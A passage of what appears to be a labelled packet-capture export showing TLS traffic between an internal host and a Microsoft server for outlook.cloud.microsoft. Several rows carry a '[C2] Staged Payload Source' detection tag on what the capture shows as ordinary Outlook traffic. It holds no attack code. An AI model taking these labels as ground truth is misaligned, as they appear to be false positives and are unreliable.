\"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11621, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63993, \"\"dport\"\": 443, \"\"seq\"\": 1686838854, \"\"ack\"\": 3062737988, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 41944, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 65, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\xd7\\\\x9a\\\\x81`\\\\xd5\\\\x86\\\\x96h\\\\xa6\\\\xf1k\\\\xef{xe\\\\x95[\\\\x19\\\\xfd#\\\\x19\\\\x84\\\\x92\\\\xdcx\\\\x900\\\\x0f(\\\\xcc\\\\xbf%\\\\xfa\\\\x05P\\\\x16\\\\x89\\\\xf2\\\\xdcn\\\\x9e\\\\xdb\\\\xe0Xgb6\\\\xfa\\\\x1cf\\\\xdb~\\\\xfdwHu\\\\xb9' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:52.100389,84,TCP 40.98.16.61:443 -> 10.152.152.11:63993,40.98.16.61,10.152.152.11,443,63993,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062737988 Ack=1686838924,bc2411360d0cbc24112907bb0800450000283f154000400620792862103d0a98980b01bbf9f9b68dac44648b1e8c5010003fdb5c0000,\".$.6\n..$.)....E..(?.@.@. y(b.=\n..........Dd...P..?.\\..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 16149, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 8313, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63993, \"\"seq\"\": 3062737988, \"\"ack\"\": 1686838924, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56156, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:52.656751,85,TCP 40.98.16.61:443 -> 10.152.152.11:63993,40.98.16.61,10.152.152.11,443,63993,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3062737988 Ack=1686838924,bc2411360d0cbc24112907bb08004500029c3f16400040061e042862103d0a98980b01bbf9f9b68dac44648b1e8c5018003fddd00000170303026f0000000000000007ebd2c0737e428840bfcb9aa93ea1b6d36f4dc3f0c478605bb53f0a1ee5d51fc749a107a855f0e5d4b46f0796cf517e2c7397cd0f1c77d3583bea4775693430c93f7b88de564cc565e30dc077933cf80820c1656e5fe07310bfb95b5c29908264ad3c6715a4eec6fe3ca40a675047b8d0fab8b855ddfaf3db960942cbdf085894c4c87a87033c82d5c0e9187942ddb07a10b447aa9dd3ffed77e998613fb844e9d6665a9ee82d9290e786236b91cfaea8809f7862e244778aa7b0a2757b365c14a196cbcb0e6b27872c242f7664e428c315705c2cfd5057bf9e74eb662a9c695b2477df3450d348fc844c1d6640d4e4ca234c2393089af8d7ba76cd4c5b34d0600b22ba2ef05656d5e4672eca6eed8e514fe024508aff2526107b410b70eedfb7c16eb63a3109149ddbbcd73c779b63b437412df7ebca7ceb72f2fda4de44d6b8157100d8b9e86a63779006835b9376637e3b990a460717f2ffaf9bf781f7dc201c18c47e253fb1e8d5d970454d5ffb2f0bb3813af663a02388514de6cb30ef63fc0d3cf463673d582111fb77052ca1788e8fecea574a26e6b2b40bdc2b098c10fde87657544bcd3dd892a0b9f6efc213c76a088e27cf0c3d0c4289368e952747db702121333f242318e6a0f2f7d1a1c8f504dbeefbbcba53fa277cf03ac362c8e75e32f7a0f003c97d81fe4e4d6e61c0912717d34672a0a3094e03f1f313d7ae6b8700429ac2df46f0c2a6ed0b6f2f27af681f68e86bffb6670294e760d80059ff16cf6d27038c3bfe6be72291371b434bdec4a60f24276d0196aeedd100295913fee9845f95070e80c7ef70003b5e920d2c79672f89a0824e74a40d860b3439fe80ec8e279769,\".$.6\n..$.)....E...?.@.@...(b.=\n..........Dd...P..?........o...........s~B.@....>...oM...x`[.?\n.....I...U....o...Q~,s....w.X;.Gui40.?{..VL.e.\n.w.<.. .en_.s...[\\)..d.<g.....<.\ngPG.....U.....\tB...X...z..<.....yB..z..G.....w..a?.D..fZ..-....#k......xb.Dw....u{6\\......k'.,$/vd.(..p\\,.PW..t.f*.i[$w.4P.H..L.f@...#L#......v.L[4.`.\"\"...VV..g..n..QO.$P..%&.{A.p....n.:1\t.....<w.c.7A-...|.r....D...q....jcw...[.vc~;.\nF.......... ...~%?....pEM_./...:.c.#.QM..0.c.\n<.cg=X!..w.,.x....WJ&.....+\t....vWTK.=.........j..'..=.B.6..'G.p!!3?$#...............S.'|.:.b..^2.....}..NMna..'..Fr..\tN......k..B...F.....o/'.h.h.k..g...`..Y...m'..;.k.\"\".7.CK....$'m......)Y...._......p.;^.\n,yg/...Nt.\n..49....'.i\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 668, \"\"id\"\": 16150, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 7684, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63993, \"\"seq\"\": 3062737988, \"\"ack\"\": 1686838924, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 56784, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 623, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xeb\\\\xd2\\\\xc0s~B\\\\x88@\\\\xbf\\\\xcb\\\\x9a\\\\xa9>\\\\xa1\\\\xb6\\\\xd3oM\\\\xc3\\\\xf0\\\\xc4x`[\\\\xb5?\\\\n\\\\x1e\\\\xe5\\\\xd5\\\\x1f\\\\xc7I\\\\xa1\\\\x07\\\\xa8U\\\\xf0\\\\xe5\\\\xd4\\\\xb4o\\\\x07\\\\x96\\\\xcfQ~,s\\\\x97\\\\xcd\\\\x0f\\\\x1cw\\\\xd3X;\\\\xeaGui40\\\\xc9?{\\\\x88\\\\xdeVL\\\\xc5e\\\\xe3\\\\r\\\\xc0w\\\\x93<\\\\xf8\\\\x08 \\\\xc1en_\\\\xe0s\\\\x10\\\\xbf\\\\xb9[\\\\\\\\)\\\\x90\\\\x82d\\\\xad<g\\\\x15\\\\xa4\\\\xee\\\\xc6\\\\xfe<\\\\xa4\\\\ngPG\\\\xb8\\\\xd0\\\\xfa\\\\xb8\\\\xb8U\\\\xdd\\\\xfa\\\\xf3\\\\xdb\\\\x96\\\\tB\\\\xcb\\\\xdf\\\\x08X\\\\x94\\\\xc4\\\\xc8z\\\\x87\\\\x03<\\\\x82\\\\xd5\\\\xc0\\\\xe9\\\\x18yB\\\\xdd\\\\xb0z\\\\x10\\\\xb4G\\\\xaa\\\\x9d\\\\xd3\\\\xff\\\\xedw\\\\xe9\\\\x98a?\\\\xb8D\\\\xe9\\\\xd6fZ\\\\x9e\\\\xe8-\\\\x92\\\\x90\\\\xe7\\\\x86#k\\\\x91\\\\xcf\\\\xae\\\\xa8\\\\x80\\\\x9fxb\\\\xe2Dw\\\\x8a\\\\xa7\\\\xb0\\\\xa2u{6\\\\\\\\\\\\x14\\\\xa1\\\\x96\\\\xcb\\\\xcb\\\\x0ek\\\\'\\\\x87,$/vd\\\\xe4(\\\\xc3\\\\x15p\\\\\\\\,\\\\xfdPW\\\\xbf\\\\x9et\\\\xebf*\\\\x9ci[$w\\\\xdf4P\\\\xd3H\\\\xfc\\\\x84L\\\\x1df@\\\\xd4\\\\xe4\\\\xca#L#\\\\x93\\\\x08\\\\x9a\\\\xf8\\\\xd7\\\\xbav\\\\xcdL[4\\\\xd0`\\\\x0b\\\"\"\\\\xba.\\\\xf0VV\\\\xd5\\\\xe4g.\\\\xcan\\\\xed\\\\x8eQO\\\\xe0$P\\\\x8a\\\\xff%&\\\\x10{A\\\\x0bp\\\\xee\\\\xdf\\\\xb7\\\\xc1n\\\\xb6:1\\\\t\\\\x14\\\\x9d\\\\xdb\\\\xbc\\\\xd7<w\\\\x9bc\\\\xb47A-\\\\xf7\\\\xeb\\\\xca|\\\\xebr\\\\xf2\\\\xfd\\\\xa4\\\\xdeD\\\\xd6\\\\xb8\\\\x15q\\\\x00\\\\xd8\\\\xb9\\\\xe8jcw\\\\x90\\\\x06\\\\x83[\\\\x93vc~;\\\\x99\\\\nF\\\\x07\\\\x17\\\\xf2\\\\xff\\\\xaf\\\\x9b\\\\xf7\\\\x81\\\\xf7\\\\xdc \\\\x1c\\\\x18\\\\xc4~%?\\\\xb1\\\\xe8\\\\xd5\\\\xd9pEM_\\\\xfb/\\\\x0b\\\\xb3\\\\x81:\\\\xf6c\\\\xa0#\\\\x88QM\\\\xe6\\\\xcb0\\\\xefc\\\\xfc\\\\r<\\\\xf4cg=X!\\\\x11\\\\xfbw\\\\x05,\\\\xa1x\\\\x8e\\\\x8f\\\\xec\\\\xeaWJ&\\\\xe6\\\\xb2\\\\xb4\\\\x0b\\\\xdc+\\\\t\\\\x8c\\\\x10\\\\xfd\\\\xe8vWTK\\\\xcd=\\\\xd8\\\\x92\\\\xa0\\\\xb9\\\\xf6\\\\xef\\\\xc2\\\\x13\\\\xc7j\\\\x08\\\\x8e\\\\'\\\\xcf\\\\x0c=\\\\x0cB\\\\x896\\\\x8e\\\\x95\\\\'G\\\\xdbp!!3?$#\\\\x18\\\\xe6\\\\xa0\\\\xf2\\\\xf7\\\\xd1\\\\xa1\\\\xc8\\\\xf5\\\\x04\\\\xdb\\\\xee\\\\xfb\\\\xbc\\\\xbaS\\\\xfa\\\\'|\\\\xf0:\\\\xc3b\\\\xc8\\\\xe7^2\\\\xf7\\\\xa0\\\\xf0\\\\x03\\\\xc9}\\\\x81\\\\xfeNMna\\\\xc0\\\\x91\\\\'\\\\x17\\\\xd3Fr\\\\xa0\\\\xa3\\\\tN\\\\x03\\\\xf1\\\\xf3\\\\x13\\\\xd7\\\\xaek\\\\x87\\\\x00B\\\\x9a\\\\xc2\\\\xdfF\\\\xf0\\\\xc2\\\\xa6\\\\xed\\\\x0bo/\\\\'\\\\xafh\\\\x1fh\\\\xe8k\\\\xff\\\\xb6g\\\\x02\\\\x94\\\\xe7`\\\\xd8\\\\x00Y\\\\xff\\\\x16\\\\xcfm\\\\'\\\\x03\\\\x8c;\\\\xfek\\\\xe7\\\"\"\\\\x917\\\\x1bCK\\\\xde\\\\xc4\\\\xa6\\\\x0f$\\\\'m\\\\x01\\\\x96\\\\xae\\\\xed\\\\xd1\\\\x00)Y\\\\x13\\\\xfe\\\\xe9\\\\x84_\\\\x95\\\\x07\\\\x0e\\\\x80\\\\xc7\\\\xefp\\\\x00;^\\\\x92\\\\r,yg/\\\\x89\\\\xa0\\\\x82Nt\\\\xa4\\\\r\\\\x86\\\\x0b49\\\\xfe\\\\x80\\\\xec\\\\x8e\\\\'\\\\x97i' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:52.656939,86,TCP 10.152.152.11:63993 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,63993,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1686838924 Ack=3062738616,bc24112907bbbc2411360d0c080045000028f1e3400080062daa0a98980b2862103df9f901bb648b1e8cb68daeb8501003faec850000,\".$.)...$.6\n...E..(..@...-.\n...(b.=....d.......P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61923, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11690, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63993, \"\"dport\"\": 443, \"\"seq\"\": 1686838924, \"\"ack\"\": 3062738616, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1018, \"\"chksum\"\": 60549, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:53.034246,87,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=4093516158 Ack=0,bc24112907bbbc2411360d0c080045000034f1e4400080062d9d0a98980b2862103dfa0501bbf3fe197e000000008002ffff8a900000020405b40103030801010402,\".$.)...$.6\n...E..4..@...-.\n...(b.=.......~........................\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 61924, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11677, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516158, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 35472, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-14 14:16:53.034269,88,TCP 40.98.16.61:443 -> 10.152.152.11:64005,40.98.16.61,10.152.152.11,443,64005,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2259379579 Ack=4093516159,bc2411360d0cbc24112907bb0800450000340000400040065f822862103d0a98980b01bbfa0586ab657bf3fe197f8012faf0db680000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@._.(b.=\n.........e{.........h.............\n\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 24450, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64005, \"\"seq\"\": 2259379579, \"\"ack\"\": 4093516159, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 56168, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-14 14:16:53.034584,89,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=4093516159 Ack=2259379580,bc24112907bbbc2411360d0c080045000028f1e5400080062da80a98980b2862103dfa0501bbf3fe197f86ab657c50100400db2b0000,\".$.)...$.6\n...E..(..@...-.\n...(b.=..........e|P....+..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61925, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11688, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516159, \"\"ack\"\": 2259379580, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 56107, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:53.034910,90,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4093516159 Ack=2259379580,bc24112907bbbc2411360d0c0800450000f8f1e6400080062cd70a98980b2862103dfa0501bbf3fe197f86ab657c50180400aa22000016030300cb010000c703036a2f1a437cf837982b0cf27cdd54730a5137e6a2e57a5a36db9088f0eb8a67ab000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000780000001c001a0000176f75746c6f6f6b2e636c6f75642e6d6963726f736f6674000500050100000000000a00080006001d00170018000b00020100000d001a0018080408050806040105010201040305030203020206010603002300000010000e000c02683208687474702f312e3100170000ff01000100,\".$.)...$.6\n...E.....@...,.\n...(b.=..........e|P....\"\".............j/.C|.7.+..|.Ts\nQ7...zZ6......g...&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...x.........outlook.cloud.microsoft..........\n.................\n.............................#.........h2.http/1.1.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 248, \"\"id\"\": 61926, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11479, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516159, \"\"ack\"\": 2259379580, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 43554, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 203, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=199 version=TLS 1.2 gmt_unix_time=Sun, 14 Jun 2026 21:16:51  (1781471811) random_bytes=7cf837982b0cf27cdd54730a5137e6a2e57a5a36db9088f0eb8a67ab sidlen=0 sid=b'' cipherslen=38 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=120 ext=[<TLS_Ext_ServerName  type=server_name len=28 servernameslen=26 servernames=[b'outlook.cloud.microsoft'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ALPN  type=alpn len=14 protocolslen=12 protocols=[b'h2', b'http/1.1'] |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:53.034916,91,TCP 40.98.16.61:443 -> 10.152.152.11:64005,40.98.16.61,10.152.152.11,443,64005,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2259379580 Ack=4093516367,bc2411360d0cbc24112907bb0800450000285e5a4000400601342862103d0a98980b01bbfa0586ab657cf3fe1a4f5010003fdb5c0000,\".$.6\n..$.)....E..(^Z@.@..4(b.=\n.........e|...OP..?.\\..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 24154, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 308, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64005, \"\"seq\"\": 2259379580, \"\"ack\"\": 4093516367, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56156, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:53.420513,92,TCP 40.98.16.61:443 -> 10.152.152.11:64005,40.98.16.61,10.152.152.11,443,64005,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=2259379580 Ack=4093516367,bc2411360d0cbc24112907bb080045000d805e5b40004006f3da2862103d0a98980b01bbfa0586ab657cf3fe1a4f5018003fe8b400001603031fce0200006603036a2eb7d5371791b7d47a62c913518c0b19d43329ea0886ae444f574e4752440120a12b0000bc407d3cd59ce5061a48bab1b53f87b78287b948b0628920e029674fc03000001e000500000023000000100005000302683200170000ff01000100000000000b0016a80016a50009533082094f30820737a003020102021343000ab40354ebc89cc9d01f0f0000000ab403300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303330383030313730335a170d3237303330333030313730335a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e060355040313176f75746c6f6f6b2e636c6f75642e6d6963726f736f667430820122300d06092a864886f70d01010105000382010f003082010a0282010100e821db6b59618abe5569b6a1b4ca8b1386f9321454fb9b4090c7fc068f81121ff533fa390cec9038d2dacb70a372090e27cb318ec69c9ec39fdb9d3f853e8512abecd8f276d5de863889019c9c1480fe31153696aa2432d0056149aae544b5d558f1fb4570215fa7212922940a46bfd663c48c1fe5d74dddc85fcf30f419357fdfa8dfe9e55b34edf4fc3ecfc09333a53fbbc77eb676f55b0b7781d4f23149344a9db479cc221de86b86630452363022383e0b602fda16e4ba9bd96c31b63f354a02cb8ade61f5037bec9d7b456f4ee3fe785791eb6bd126e5d2ca26420398faa01ec0e8d8d88424f8d15e05238d26edb1796c9f42eaf598c82e46d650a973590203010001a38204fb308204f73082017e060a2b06010401d6790204020482016e0482016a0168007700d6d58da9d01753f36a4aa0c7574902afebc7dc2cd38cd9f764c80c89191e9f020000019ccad73c1e0000040300483046022100e55d982e5af07f61a26bc59c87aa509d9f5d59293e7da533c29e793f4686986b02210083499f8ed352d2c6ab8788b918cf2f82407da0077347df82a3c2a666524709a40075001c9f682ce9faf0456950f81b968a87dddb3210d84ce6c8b2e382524ac4cf599f0000019ccad73d62000004030046304402202698638e91ee1dbea8586c5217a7ead63776394850e131fc3472ae16c3b07b02022013e71c1e18cadeaaf40fb6bcd78420aaf1e0004625aad5525088368c72ab4e7100760044c2bd0ce9140e64a5c94a01930a5aa1bb35970e